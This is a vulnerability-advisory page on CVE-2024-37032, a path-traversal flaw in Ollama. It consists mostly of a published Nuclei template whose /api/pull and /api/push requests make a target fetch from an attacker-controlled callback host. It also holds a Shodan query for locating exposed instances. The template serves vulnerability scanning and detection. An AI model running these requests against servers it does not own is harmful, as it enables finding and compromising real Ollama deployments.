CVE-2024-37032: Ollama - Remote Code Execution

日期: 2025-08-01 | 影响软件: Ollama | POC: 已公开

漏洞描述

Ollama before 0.1.34 does not validate the format of the digest (sha256 with 64 hex digits) when getting the model path, and thus mishandles the TestGetBlobsPath test cases such as fewer than 64 hex digits, more than 64 hex digits, or an initial ../ substring.

PoC代码[已公开]

id: CVE-2024-37032

info:
  name: Ollama - Remote Code Execution
  author: kaks3c
  severity: critical
  description: |
    Ollama before 0.1.34 does not validate the format of the digest (sha256 with 64 hex digits) when getting the model path, and thus mishandles the TestGetBlobsPath test cases such as fewer than 64 hex digits, more than 64 hex digits, or an initial ../ substring.
  reference:
    - https://www.wiz.io/blog/probllama-ollama-vulnerability-cve-2024-37032
    - https://nvd.nist.gov/vuln/detail/CVE-2024-37032
    - https://github.com/Bi0x/CVE-2024-37032
  classification:
    epss-score: 0.93478
    epss-percentile: 0.99821
    cpe: cpe:2.3:a:ollama:ollama:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: ollama
    product: ollama
    shodan-query: ollama
  tags: cve,cve2024,ollama,rce,vkev

http:
  - raw:
      - |
        POST /api/pull HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name": "http://{{interactsh-url}}/rogue/{{randstr}}", "insecure": true}
      - |
        POST /api/push HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name": "http://{{interactsh-url}}/rogue/{{randstr}}", "insecure": true}

    matchers:
      - type: dsl
        dsl:
          - contains(interactsh_protocol, 'http')
          - contains_all(header, 'application/x-ndjson') && contains(body_2, 'retrieving manifest')
        condition: and
# digest: 4a0a0047304502205440bec3868d9c9dd4ceb74de6b3f5f9f4979d7e5f5c877f20623225a71162680221008cf903df3172f82368b1887fcd2eefe596f814d155b74e0b02dd42a98947cf3b:922c64590222798bb761d5b6d8e72950

相关漏洞推荐